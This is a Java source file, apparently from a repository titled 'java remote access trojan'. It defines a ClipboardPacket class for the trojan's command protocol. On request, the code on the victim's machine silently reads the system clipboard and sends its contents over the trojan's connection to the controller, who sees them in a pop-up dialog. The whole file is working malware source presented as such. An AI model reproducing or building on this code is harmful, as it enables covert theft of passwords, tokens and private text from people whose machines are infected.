java remote access trojanc
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

75 lines
1.8 KiB

package de.sogomn.rat.packet;
import java.awt.HeadlessException;
import java.awt.Toolkit;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.io.IOException;
import javax.swing.JDialog;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveConnection;
public final class ClipboardPacket extends AbstractPingPongPacket {
private String clipboardContent;
public ClipboardPacket() {
type = REQUEST;
clipboardContent = "";
}
@Override
protected void sendRequest(final ActiveConnection connection) {
//...
}
@Override
protected void sendData(final ActiveConnection connection) {
connection.writeUTF(clipboardContent);
}
@Override
protected void receiveRequest(final ActiveConnection connection) {
//...
}
@Override
protected void receiveData(final ActiveConnection connection) {
clipboardContent = connection.readUTF();
}
@Override
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
try {
final Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
final Object clipboardObject = clipboard.getData(DataFlavor.stringFlavor);
if (clipboardObject != null) {
clipboardContent = (String)clipboardObject;
}
} catch (final HeadlessException | UnsupportedFlavorException | IOException ex) {
clipboardContent = "";
}
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection connection) {
final JOptionPane optionPane = new JOptionPane(clipboardContent);
final JDialog dialog = optionPane.createDialog(null);
dialog.setModal(false);
dialog.setVisible(true);
}
public String getClipbordContent() {
return clipboardContent;
}
}